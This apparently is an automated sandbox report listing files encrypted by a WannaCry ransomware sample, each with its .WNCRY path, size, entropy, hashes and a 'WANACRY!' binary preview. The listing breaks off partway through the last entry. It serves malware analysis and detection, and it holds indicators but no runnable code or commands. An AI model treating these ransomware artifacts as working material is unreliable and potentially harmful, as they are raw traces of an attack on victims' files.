                                    SHA-512:A7986B4E1201BB0A9E84C9A1C2E5BF8401AE1389C94A85258044C2E172CFD76710084E5FD7CDCDC6EC487E831BFC342F6AADE7F74722665AA2160AFCBB9CC48D
                                    Malicious:false
                                    Preview:WANACRY!......h....~.`U*QB.4.F#..t..(..?.A.*R..(. ....il....>..W.D...r..G......p4.@I..F.....<?..c.G..K.zY^7d..&....SW.G.>........~K....,.b..y..../...G.e<...r.....I.z7.ny....y..*.#...`h......F.......D...T..1....~..^..^....m..Gi.D...<...D.w/9..:G1.0.4.'.-/................i..|.....?.5....O..WU.....S9<.o..%y......sc.S$.7b0.mer3.\..p.u.3..[.*...O.9...l...GR.z...t-^.K.D.....xn...<V>.l....gX2.>rS..ue...T...-.>.....f..O].x.... ...\.3U!L..+.Y..t8'*w,nMQ....gQ..,....Y..,..7..2.t.;...a*...q.D..Y/..:.^^.o...>......<2.M..V...!.+Wce<...S............u.p...X...'...&.;.6 $..T.......Z.....%.|.T.......(...F..(L..d}...N....d.{.a..y.'...3E...4?.j....K.\.h.fJr.....d..v..=...'.O3..T...T"..x'.N0k.,..X>=+6JN9.f.....H!R.i..;.[.m......s)...u.<s._Q.[......t)A.....n...~..=3....`n..,.....<..g._.U.Y...P..&t.ps./..a...n.2.......L~t.....}]...[........%[........3Y.`..MO.1..xh.....m*..kl .-f.1......{:.f....]."^VzN.t.]...$..=X..^Y....<....d......9X..&.j.^m..$...'=.$.

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\LIJDSFKJZG.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.86144315563255
                                    Encrypted:false
                                    SSDEEP:24:bkUSiaKSwASM+xqcfzKV0TFCM9uyRRsYDDzgg0FPBsSEkQyuO3wM:bkUS6DASDkafsKIF9EcuE1
                                    MD5:F29FFCF005405F84010821864DC4E714
                                    SHA1:B1E527D5CA6A2113CCCDA163B71FCAF0EF283844
                                    SHA-256:782FCE769645FD50FFE1BC2FC5EE89B93669A00AFD57015EC567256D6FED3A5F
                                    SHA-512:629A8DBA83D7276D495704B8A40DB1BFD9BE41D57E7A87B93FB87D9D687A2F2B489916F36DA7B05F82A04DB4B08AD6511454A019102319B01A3B19B1876BC01E
                                    Malicious:false
                                    Preview:WANACRY!......b..t;l..o..|....>Q8.I\..2.c..Q...nqb..\y.......x...|'O/.....z....##...816...{^.....@..!.......z.A....6.j.;...2=b...z../..J.e...]v...lB...I.y..V..k.q.m._.._..-..........E6.~...y.20.D...W.UU.1E.....la..H.............W.2x("t5...>iS....WZ....B..................`....!.oO..S3..5....Y......Yu6........A......g.3^..M..ocA...S.}..(.......r=.....ak..y...&s.\.e.....*.3.<.s.0..P.a.....\..p3@...g...m.^29.7;O.t.......oJ.Z........^..Vh=.t.CB)E._:....|....(6....`.....j....'....P..f...R..i^.2.E9m...T.%.y.ND..Twd..9m{a.....#..,.[....N>.'...v.f..x.x.>.q.<.XF..).?l....eK.5..kb.....;~6.i.....6.9.5J.A&.2.r..J..+ef..3.M..`........".Z>g./...Zed..f......4"e...U,1.B..i/.....7*.s.Cz+]_R...X"{....Ip.fH..[..Kq.o..nT7.Y]..=......X.}.G.. l.~.77..yk.3../A.j.]|..@zM(?+...o.c].. |'.......].Y.u...*...\.l.-...AV.C(.z.F...E.5....-.b.}...k6....4..].h..K.Bj......._..'..D.S...].(|..J..t.)..dV.c..h..4.@<.....|a...l..{....A.../D..6Y.3SJ...|oI.p....

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\LIJDSFKJZG.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.861588891975817
                                    Encrypted:false
                                    SSDEEP:24:bkUdyR3aGUrOk92RwFHH//3QYNSxBxVEtZsrWUU7IS71QWmh1N7mnWs1qbfG3yXV:bkSy1vAOm2RyHH/Y1+tZsrbEb1QWmh/7
                                    MD5:E72C3A63DCA08BC906BF1AA2577F4853
                                    SHA1:8775F67C0889CE9F88516499D4B4B3DC7A3F8A3A
                                    SHA-256:008E27BE9ECAA9F75C55EADF8E6DCA50E5010941DCF577632A0C527D1B7A3CE8
                                    SHA-512:671BA32BA59612E1DDE355C9AB74A28C834C5FDD13AD2824FA59FD8BC3574FB68DECB0E7D68667F5B2ED557141405A34800E833DC295EBD88D2A6104BF338998
                                    Malicious:false
                                    Preview:WANACRY!.....\...2...."......57SZ..l?n..A....6g#J.].*Y....3]..b.DX.3.,n*.........B.+..#.#....gd4.S.6./...?..V...y..S.....)....u..>.......Q..}.8.w...^[.q.8..*}F...6......b..m..%..@>u./ca c<f....'.S.V..J..)]..........:.~.|.Q"..k......h./.l<.....k.$..h...j.#...............Z..U..WDzJ('..b'...`[..iT6x.2..:..X.dg9...9#..mAR.j.A.`.)|oQ.C.u...pY.(..'.MN..w]T....o..Q?....4.;^{^.a=1\..b.0.........)x...j>......i....K.`^<*|..Q..oc..'{C.y.7.hS..yfj...z;.....8RHWNM........:J..'.3....Qf.}.....F1.3,./..F.J5@#..m.%mNVN...'.{x>7..v.p}.p........D0.N....Vf..W.C....W..'"T".....A........x).EKs.s.....+ep.t....pp.Q....:Gq;..`.5........{._$....4=.........\...Z$.8s=.7.MP.....].C........x.z...V.B..(....l..jR.Q(....tlI{>U..&..L..cqE...(.a.&A..L.Lrh..wh....o..~~..iW<..Y....T&.+...k.-....SE.."..G3l..I..#V.|.4......*..'....I0.\.-M.J.DU..j...H......@$ZX9)...k.g.x....c..]....t...x|..4_Ez..........r.3.T....)[..>.......+.{.|...."i..o.)...n..1..H..uR..-q..o.Z#-.Ze.....R...U^.hz

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\MNKQCGFJDG.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.828966724027708
                                    Encrypted:false
                                    SSDEEP:24:bkiNIkHO+ZBbLTmF6T7QHRxswcAkhpK9UhkwC7q+BoSObkpMXdvi3HJ087D+E+U+:bki9O0ByS7sU5pswC+6Wdv2B7qfuYn
                                    MD5:74A75041AFB3581EB8AFBF673145F2E7
                                    SHA1:110C619D53E895D9B77A3717A52486A2FAD58372
                                    SHA-256:2B7DBE66679160E0AB418F8DCAE9DBAD057E12A06E06BA121C4AD6FFD7EA21AC
                                    SHA-512:F0C57C0459B52242DDF91A9FCA0CEAB5BEE08A5932E66C1897DBF81A6F0EE83D2AFF937759623B97F9CC2B9C3929261A8720156BEFE904592258EEF396E837EE
                                    Malicious:false
                                    Preview:WANACRY!....r.R..o....T.N.^X~<..zMZ.\.dB...O&...u.....W,...p.50U..*.....;...S....b.Njx.....5.v.p......\.Q...4.=4=.rv........O...}..EL\..~0.......H1...+.zK..@A..U>/ .X.v.c.u.(..Kv..:u.MXDfA.SR.j.].=..4|...%....;.R.b..9.Q....k.;+.m..H...U....|..Y...+....!G.e..._.............t...:..<|.F...^..y.?.^)%}..hD.%iC...*../..Zs.9Z\..".}......;....e.p..vrr........%Y^...i..C.E"Dc.Yj.\.G|6..X..`@....gx...OU/!"..S....zU.tp._.E...0..dRDcV^.=....ZA..r..Z.ks.SZ.V........v{..FT=@...^.......j....^.o.!%r....;c.."..$}.5..Z.T..k.9..d...W?jd^..do.`.5.....R.;l.e..=#9...x3.t....6M....sb..........."...@.g.8Z..*.>xL.@.w..B..y..+.bW..t`^.t..%.}.p...[*.|.b.......x.......w......!I..b.@..Ky..5B....^..==./..Y.]..+L..?...s..M:..).9r/............N.R...H.....M./.P..yU4.(+.......h.../F.$.J....Y..^..h.31w.....dJ.G.{..M...Z."...-.C..5......./.*zVd.. HN..z.Ejp........:qt.%HA68..Y...by.O*..aI."j.*.Ph.7kt.Q.X...V.#.Q.Qy......H.hO>..i`.....{.A._o@.H.V]...LL.ia..6.H.+.3r*8......F..j!.<T

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\MNKQCGFJDG.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.816355705926898
                                    Encrypted:false
                                    SSDEEP:24:bkRNkojvzenEiZPfyZdyeLtfWNJ4oQn7DGmJQeKhgTtRUPCg9pp:bkRNrSPfyZdyeLtOFQnXG4QeagTtRUP3
                                    MD5:65EF7E0EACB69B1B533F0DB7AE2E5121
                                    SHA1:02F181BDA48D35CC195E70D9D680AD09E2851500
                                    SHA-256:92BACFF206D8B136C69B7A73FD0C3A002A6C00F71590760D38B9954FBA3C1930
                                    SHA-512:D6BDF1CF5D6265B749FD182D37FF830CDE7FF9008F7D6A6C3BE0EFE6FDA41E5EDB45E5D1FACE322DEF85E4823D2890D92A3EA8582A4527C866AA15CFF8B2184F
                                    Malicious:false
                                    Preview:WANACRY!....8U..........Q..X..mHQ../5l.2Ahy...A..NL..7r...._.[d...y..9..........#.O.>*@.P.....'.^|..,.(.9..C....9.E3`...}{>X....m..{...2..y..@._vI.%.z...4..u..-.i.....DF.M...tk(>..Z.h...+_.^...O.......].J.U......>.*X.~..?2.q...7.D.......{v.4..cu.8wgrc....K...................R....\..C].X..|.....s/..L......l8...........>;.1.[..e.=VPU..I..N.....K.-/..9..1.......4.w8......5.-...3...@a..G....m..8.nn~.m.1...U..K.*X...U....*".H...y.1.w.b.f9...e%...>\Q....{..'W.~g..Z4.*...........A;.].=.dAn.g.i.....dH2 ....hK.....|.d>.yPU8~.|..G}....y%...P.,).).....J.{..w.....Sp.m....5.Qr..o);w.o...>..{q.H.?......X.......T[.|.6y.KDw.x.Ko.8K.8.#J..M...9..A......j%[.....e`........JH.f...u....jh..(x....*... M.'.vGj......"3.{..M.R..@...Lp.d..+.....3.o.#e......=.S....J.............p.~.I.._E.8.d-~6.D..t.v.c..c.*!r.U..V.'...4PRQUUb*....l.6....\....]<1....v..R..2Ty.{(J...}.}..8..xW5.......u.5j....D.F.u6..H..i.L...z.%.A.Yq.....C.......c.)C....X ..[.s....+V.4Q...*.7@.j....}

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\PWZOQIFCAN.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8502373391388165
                                    Encrypted:false
                                    SSDEEP:24:bkeftEhqsY2a1Hjr2+SjwavwKmF2gBrmb11hmAeZMT5bpm5svIPRkUj9ooWR:bke20HmbwhBCb11hmMi5svIPRDooy
                                    MD5:782506FD393E3993FAA64BD809D49720
                                    SHA1:9A79C9670E273E5A168BC912A17F494BAAC39732
                                    SHA-256:957C296CD54C74D3C650312FB88B4A73CC2AB1A55D35421C2E3F37F7B6DA9F46
                                    SHA-512:7E1EC283484CFB94177CC0AA8047E11C0B65C8E05A46BECDE319E96157F136FB8D760F3E5E4BF0C891A000DE764B5FE6770E43BDC2B356BE359EB62362CEE346
                                    Malicious:false
                                    Preview:WANACRY!....mQ.".....q.......@.K.B...#a.k.}...>...X.:...Q..R..v.)Qp<...9.......Lm.W=..S._v....(.F.........q.X*.xC....Z.d..B......{..',+...K-Y.m_..d...N...2...w.iCx6.....L{.r.|V.+lU@..'Z_.L.R~....c...1....R...d.9.u[..$.........#...B.y..Q....h.-.]../<..................>....C...;.i%0.-.|tV..t.F...4..........w..i..|;A.A......1. }..^2.`....~..D....2.F>LM.d#:..t/.*.bhM.;...Y@W.,....'4...:....."G.-...~.......>..r..T2{..\.._..^j...T................8y....n.e....q...Tc..n.<vHt...d.%....n...@...pFf...R..s..C..H......5.;..swV.[U.Y....1.Gly.B.].v.R`.w..z.....x..z............G+..)....wCm.?.u...Q.+|.Aw.p.p.........Xi...]...#XBq[....V.sw.,..L.../.)Q8.u...r.pJ....._b.}.S..fT........P.6K:&...v..u.a.D.j....fC...Q..2d...:.Ab/.M}.Ktu}J..l..?.#L.....v.LaM...=...(.U......{...>.:.2...m*..bF.......Q..'X...w..=a.m:..D.%.,h.D.-..._?......d2.;.._.y.C..&d.....gH....t,b..(.";.K..gmn....cK.}...'V..U..cM.b..C`-...4aW...>N=.f....}..^\.1L.3....FA..... .J..

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.845264779778688
                                    Encrypted:false
                                    SSDEEP:24:bkWPmv5vetL5NVdQb61glqH8l1TOt4PsQjNcmXJKljC/xvPDUO8z9vAkuKmM:bkWuRvwL9dQbuUqw1TO+PJtXJKlj0xv+
                                    MD5:68A6BD80140A9AEDC79F9C19B6072F10
                                    SHA1:4B346A4B99715E4575B623CD39722BC323172F98
                                    SHA-256:0C483C4E2FBA9A9E0E2FE070290C3206BEFD090137F8E90D014EFA0EAE28B35F
                                    SHA-512:E72049F05C22CD833127594B478F334E88CED92CA6AD2665F39949DD35443AE325EBED74817F7E650484EDB462AB6BA1C461C4DAB1AE4DB8D68ED345D043ACED
                                    Malicious:false
                                    Preview:WANACRY!....m...?m....I.;...sw.v..I:.......S....D...T.l...#T..C......0@vM....,._}........\NP....M|..|.BV......,..f/....M.f.K.Yz...;.n.F.......~_....a...=D.....+.....!...P.t=j..P[r.....1....y.`).(. ^.....xJ..c....##4<.P...`E[.W&."..B..X...M..6....D..p..K................B..[.=R...r|.cA....Vfp6zij..Wd8...U..z7i.u...E......<...*@I..?TZ.l.Sy).....p..q...|?..!..<.3..Mi..x}.."cH.5y..l.f."y...0:-3..(..i&.J.......kJlg.q.o.=..[.V..??...1.........%.>..O.P....3?7.i..... a\..C.\;R.G.M...F.).*.{.D<..L.l1$;3..e....f....&D....D.o....X2B%j..)ih...==......S..-.Q..#.......,q..Ix..?..9C.o..._2....v....~.o.._....`......G.c.d..P.3H..9......=|.....b....F].M.=.$.@).gG.y....tz..z..........0w.oq)..r.......Iz.$....^...#..(.@B....>...\....1..gY.JK..s....D1.z...y.X..\......6t.7......Bq..O.O.E\..h...T."O..vr...j..j......Wi.L.XX@.v....V>?....2.z+......#...@..E......c..K.0..7......i.....[.f.P....L#..z......b.........ir..._....u.j...o9x.XV..5%.9.y.TB.=.o.d...

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\QFAPOWPAFG.pdf.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.822705000189913
                                    Encrypted:false
                                    SSDEEP:24:bkW7HLR7gcX5V93fOFcX4HMOeqvGCxAMN/YeugqFGjumdvhz3Jro8n+ftYsJPUfH:bkWjLF1pV93fOZmoGzMRSCt3J88nCU
                                    MD5:A6252F07D170D3B37418AC29C14A8E82
                                    SHA1:ABF257F1EA3EC1C92E64939D895324997B4AD6F4
                                    SHA-256:769D06DD761A2B2E48C829C1C1B015842C30EEE7D69365B79F63F1CD2747BE20
                                    SHA-512:23B173DBEF9D77C7E1EB1AA5252C9E4D92234D1C52CEB7DFEB8D70272F4AACE1B9AAD647CE7101874C3F4423096C4E6619EFCFB4FB07D058210D48E8E559BD4F
                                    Malicious:false
                                    Preview:WANACRY!....xc......cs..q.$.....].A.v.Rl.2.O.w..a....>8Y....|.q...n........V-.|..*.wY..@...(.cD..=...fo..s....{............,:w.. ...a.q...(....XH.^...)..e.Uo...l.DdJ...N..:(.+5o.Sgl.c.6!|.H..G.m.]......H...#...j\....F.~Ho....Z..u..oC.D..*.M...T.'...4./...............M..A.....h...S../.+./.0n......_Y.E.w.b9.z....K..=.i...Z.yQo..8..HfF..4.....i}..!.z...U....).4G..]z.....^..+..P..X...'..).....U.C.<.......O....B..1..*....}.)j\....<.&..OM.#O..5$.3.:..^>z..=...9Z_x.b4.F..4?..+P....c2....nr.T..s......1...X.3&~...H>.2.W..7..E.=G...{.c....wt..D......-....B...0..i..co......t..>JG... .P.b~.x...=U....K&.....}.vv....'.L~-[.......(q..&..~...8.Q.q.S....?..gvG.62...9.+F.....+.S....(...J=....!....U.s.N@..g.*.. ...L.h.H.*.e.4..$cE.zj....V..(...?..r..."-ug..@./.)7.h`i..^..K....(.).C.$:.S.Y..!7...0....`.w..3.as...%..Y.N ~7u.l2g.1..M.c.[. @G...$..dfW..MZ.h.......0..1..<.9..5]...*SWH..l...R= .5eD......v....+.._....}.wBp.._a.OJ+...r5.#.a(.J.I_Q..M!M..i.y'8

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\SBVUSFKOGN.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.843163511264826
                                    Encrypted:false
                                    SSDEEP:24:bkWsMP25ob0jhRhdKKDh2HPf8HnWzQ+lkOfL3KgvwDRQu9ja03BRsk3IQMzI:bkWsMuCchRPbIX8HWIOT3KyARQusYBtr
                                    MD5:C4B75F8A843F3E3AB93D0F360B620D28
                                    SHA1:CA75844BF15627540FE6445CEAB0B858E09FCA37
                                    SHA-256:97B8EA1C3999F03C6757F81E40ED1705413D0F5C0E257AF96D159AC6D2E7205D
                                    SHA-512:FC49398D55567DA37A9DF6D787B2C653F3E68E8B1AD3663FF83BDB8EE87ACD0517DA862789C896854BAB7690A3EE462AC50C1D33C9F3CBA79E289589024E5658
                                    Malicious:false
                                    Preview:WANACRY!......=.+.s...'..N... ......H....4.9h.x.e.w..........o.......Q..5..,9pH"..@..~.........eI._....![.&.v.T...X+.p.M....V\F.-..q%.)..jq.?d.Uj.......D^.....<..#.9...L...g..J$.E...C&....5..b.{t..]... ."$....w?"D,f.fn......;B..D...0...0.W..iT ..;k,....W.s..}.............Wa......5;rl.>2.R..D.9.Z.....DJ..8.*[.,...O,.'.....`..*.c]....3.e3..Q.U..n%..T..U...D...Z..="._.....5....(.M..m.6M...Ai.K..[.(|.)X.b#.R...'..4..;l...=E....9.w..M{.......S..!rr..4.:.e....q}.7...a<.|'....Xy..O..[.Z..t.'..rQR$-.l9....A..R....s.M...ingJ..L.y........~.c.....r.....0r..'@M.:..........Rs...j.m9^.....e.....`...8>7.O.{....8.....V....m.Yn}.U.YK.n.k.4h.'~"i0.1.......D&[QF.....W'.1..2=y..U.a...d.b2|..v...z.s..V\.wj.B...:...w=!.....L>6.E..~E.....P.-...y.9j..Y.`.<...@.B-..Mn..%..4....#7.>~......O...W1x..r...h.......i.r...R...w.F.......S...% ....<.H*b}..l.2.CGDL.......I............@.#5oq.x...vp...&......LZ....Z.h'.`...~.."...Q.j.J..:.T...r...tX...D...Q...$....

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.831530255315519
                                    Encrypted:false
                                    SSDEEP:24:bkAfkfaPVOGbA7dI3KMcZHqQr13rG9R2j9lnLOdYe89QgH/x9WGKWjxYjbu:bkA0aP1bAZI6bZV7XOx8yU59WGKWjxF
                                    MD5:F9C1094B1AE55F366B141C906F0D4DE5
                                    SHA1:77667BC06EEB65D8B8CAE083826D0BA430B5FED8
                                    SHA-256:115ABC439FC33C8CFC100FA43E809F92944F5CFA070CBEF8968068158A11FE4C
                                    SHA-512:615F2F5540E9EB2DCC3A1F13F77F9D0CFBDD3E06D4ACD68F5060A90A69EE594260E759CA33593B990FDFA28CD0465E7632EE4BC566ADDE429C54A6A0F2E1A141
                                    Malicious:false
                                    Preview:WANACRY!.......hr.a..0).i.O.}a........`%...Q.........vU.O].N`.e..M-c..{..N..w.q..8x2.............{YgD(.l!Fu.......-N.f".ok......o/.6.!"..1...M{....(...g....T7..BZ.a.`....F.<..m..[...N.S...,8=Y..&.$.....qF...1.zb.4........{;.v.....Y.$...p....c..=...>-r5............O..i.\...:m.>...%..:..J....u....D....28V.9......O".O...n.of..-m..l......i+.W.U.5..mb.......K.u./. 2.~m...{r.3.wa...1.....a...=.?.~".HL..F...^.p.Z2..N....m$m..[.Tt.,.c..}8j^...[..._.....1.Fk.=..zlI3.....`}......\.y|..E.j.{.....P.O.E.0.2....W...|1.`...v.&R...60..)..^.}....C..............x)..:.V..x...1.)D.MI....3....A........).F4.R..\p..q...D.M_lr.../....,B]].C....7,.!...O.=...m....mC......).....6..<^.e.(.Og.z.k.LC2.....|...U.i....t...;>.V8.hb...p.@+Z.bJ.P./.c.,Z}..T..o.q0....|2.....".cmV.P...."AF...C.'..y........`....a.Jv...^.....}.t.^..o.R.~.....`.fs.../'..........$.E...].`V.zw`.y..M..1../..v&....t.q.X+e.|...g:..V.&.#LX..n..U.%.n.....c|........"WQ.....)...\H.A8Uev[.h.A.S.. .rT...

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.jpg.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.838841524930203
                                    Encrypted:false
                                    SSDEEP:24:bk2I1Xt4b/QB/Tz771dpdegx1O2BsZstAZIwu64G/pe5rzrtGEvtKe2QWS8ettBV:bk2IX4b/kTRdpdZxI2usCFa+Ir8C239Q
                                    MD5:14450AEF254F34BBAA546D7628EC9C09
                                    SHA1:44E9C402C31B85ED66614508E672F838771B2C30
                                    SHA-256:9F9C4EB9E42B7746466BD95BE8F90EBCA2D8328E50FE80E9E719E78022DC4272
                                    SHA-512:9838C87B01E7EDBBA8301DFFD02DEB31A204E4B80098D8E22DE60A6C666BC1D6B28A36EA6B4D29A194C17EA50383419AF64FFEDDAC8CFE6EC3772945810DF303
                                    Malicious:false
                                    Preview:WANACRY!......`s.2..g5..V..../..ic2.PP1p3..(.V_.....cp:..7......<.v.q..f$q.^!..f....B^-A..@.P....Q.9[un..T../."K..u....k`.H~..l.=.5.H.V...I,n/r.4.@......N.W=R'1T.J..3......2q.&._.....~u..h1..M.*..3C,.@...e....Z..9...M~>.d[.....3.{ud.rq.BO3..u.....Nq..%<..b................ .R.<.M]......j..`.....W./."+'>..h.8..r3.._.q...t.?..z..C.Ll....%}.T&.{-r.!.I.aH.......G.....,...+.D...v..G.35.7..@4.%7DD<...Vb..}4...{..>.....:...>..0..M.F@......0..pD./..u.../R/...E......0...Q..*.E..Q..a3F...V.........i.k...K1'.cz.D.?......W.... .....%..[yB...@...........0...Az.=..l.M&.:.....,/....iRY.8.h./c./...|.d..`..M....,\...^.)G.`...kC.~xN..,......y....Pq4..dRdpYnF...t.....Pd\..#GE.8..*.v...i.....Ue..."`.M.....P.e..o.f.'.."...Fy..........VWH{..8/-..tb..:.o.....y.'>CR..S"....GY.l..Uy....A.P)........4P.TXU.e..^G:.y.|.j...l4...R.Z9.....ZF...SZ..iSK<...a...x.A.e....|d..:.....I....q}.[.>D.a..z....*........*.t.....v$.....J...%m_....6.~......k..u:....g.uUs./|I.....v}g..Y ...I.

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\UCKFKZQOSO.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.8475671136218015
                                    Encrypted:false
                                    SSDEEP:24:bkVaQykvZGCEs2815RfSGtFBaGbUnsBSQ39HFaQH64/TpiuIk:bkVanyUly5R5aGbUnsw+JHTrpiHk
                                    MD5:EB25DD676CF48FA72D41C2B215ADC552
                                    SHA1:CC815D88EB63929768C91B19B4BB55354D633D74
                                    SHA-256:F11393D4FCC2B798B446F8F7B854B4EDF6C466CFDC08B412A84C4A0AF2A05EDF
                                    SHA-512:82705B4419418F3EDD8BF3A88692CBA15B351684A365171204F6C1CC5F29A398A386DBCA93D5922387827505EE314E56CADB463101DFA40808222FD4DE702EA3
                                    Malicious:false
                                    Preview:WANACRY!......-..]....e.D.E..l.Jv.G[..*L...L.u.4-..k#.6..a....H....O...[.tL`.O3....\..tw...A.%....;...j@.l.~.,..."....wyS)..l...U.Z4@m.SS..w....J..^...y..*8./...eh...Q..:X...ea..d.8\..*..}.'.N..o....J.2.[ K.l.9...pj....Y.|...j.......])!7.?..f......................^C..C...j...*Y...;>....h.x{.lh.[..8j.g..{.*....bR..W...~...6.la...k]R%.!$.>..[5..I..L%..d.]po.V!M3_..J,..P_....7>.?.i....6.....3!.........TD2i...CcF._..1.(..mL....o..-..^....>.f2...].o.Y..yk..^.H..|.z.5`$.).Ae..... .x.4tS..7..IXM8.E..#.$..:...&3."...ig....7`b.k.O.....c...."3x....(..4r6....#......X.....FZ....v*......u+icE..P...'.*..s^..e....^..8x.. .V.f.^.aY.....R0E..~..b.4.>.5.,lr@.I<....w<.M9(..frR#.EPG.+..xa.~H..%.,.KD..q7..u.....O.LH...&..F..L.7.b.w..M......{..>.Ep.........yL.3.QT1.m......R0..0..qK...v%^d.:n$.s.E...Oa.M...6U...V.JL./i..%.|qt.u2r..d...gL..@.pL..Nz&RaH.. . .8......H....u0..L7H.L...n.\`B..y..m.C..f...l.l.#.r..]\2.0.^....7.....f^Sv......CQk|.r<.7..U.t8}....P.....

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\UNKRLCVOHV.docx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.823773742213862
                                    Encrypted:false
                                    SSDEEP:24:bkyDHLWNPWEhEb5jYpscJIrZ1wENEdsD3mgr4kXZDBITnGgpQTX4GOLgWHPs:bkyDHkwUDMZpzbVZyTnGbXW4
                                    MD5:2CD5C8BE9D8DE7F401316F27CC499DAA
                                    SHA1:49D1ECD3E41FACA742EA66083804ACCCF16A4BF0
                                    SHA-256:137CC422847E0382EC4D940C3E0EDD1F1EA8B3AF7F46B581ABF7F4D1F276C57C
                                    SHA-512:2A762279EFB32ACEC73A2A6945850A7143B2BC7451027BE483884FAC6982422C1A1D455DC7D015692C3C26764FCBBF129855CBD255833ED5C7699E615B650875
                                    Malicious:false
                                    Preview:WANACRY!........$).......N..o..........A_...Tg.....@8..?iU/h.3.,........j..u.S...y...<...C.......c.*...[.+..KzdN..^...Rx.......Q.9a....H..$@t7.M.....I..i|.. L.....>Q....b..).\j.....1....j...'.....K....*.Y..1/...U.......V(O$;....-.M.a.I.i.....%../.{...'|C.g...............F..UPf>..m.['.H.%.E.76$i..3F...s....).>.....1m.mb..=..6T..~....dH.Z...........%.V.E..s.t.e../u..`...K'4.!.&&-bD....8.......5y..1>.J*.2.fM(..Wi...T%.J..Qa..Oa$.V..u..&.cv3.Nd+......TGD7,%..T...W..SPO.....4c).yL(.@,.<DN..Z..x.._w.........D..|..1.1.e^..*.y9}..=^.....t..Oe.|.!.q.....V1..S.~zE.B......:~.|...VT.Yh..Bq....i....A.&..V...%.{;...3..*#.~......cY.B...d..W+".......WZg.X.1@.H.I{.6..Y'.q.!.k.^.[G...{.<.'d.T....ry.^.Xt4..NT...*H..../..2.i....{.K.4;...&...b..K.v...N).:.!p..MiS..!.kq.Wu....YY. ./...e.G<.sI.F.@z.0.p)F....G2..5..).rbRR.D..*. ..D....X._..rS'|.s...\/.-.............0.4..v.A.ZB"..*.....&KY.DjU6...z......X.dv$.;.Wc.*..w..0o..)..3E.u.[0......[Dx.@P.ie.."#...........

                                    C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\UNKRLCVOHV.xlsx.WNCRY (copy)

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1320
                                    Entropy (8bit):7.820842185363566
                                    Encrypted:false
                                    SSDEEP:24:bkEV8mLZwTTDJm13GsXTnkBBnCWlQb3mKhAHHCu844DDopvGaYQhnd+Mn:bkW8lTh0XTnkvab3T+qLicQhddn
                                    MD5:371F414FEE92CAD0FD58B92C563CC24C
                                    SHA1:0EDFA3D7D3798B1C2B97241480FF000B5E5FD1A2
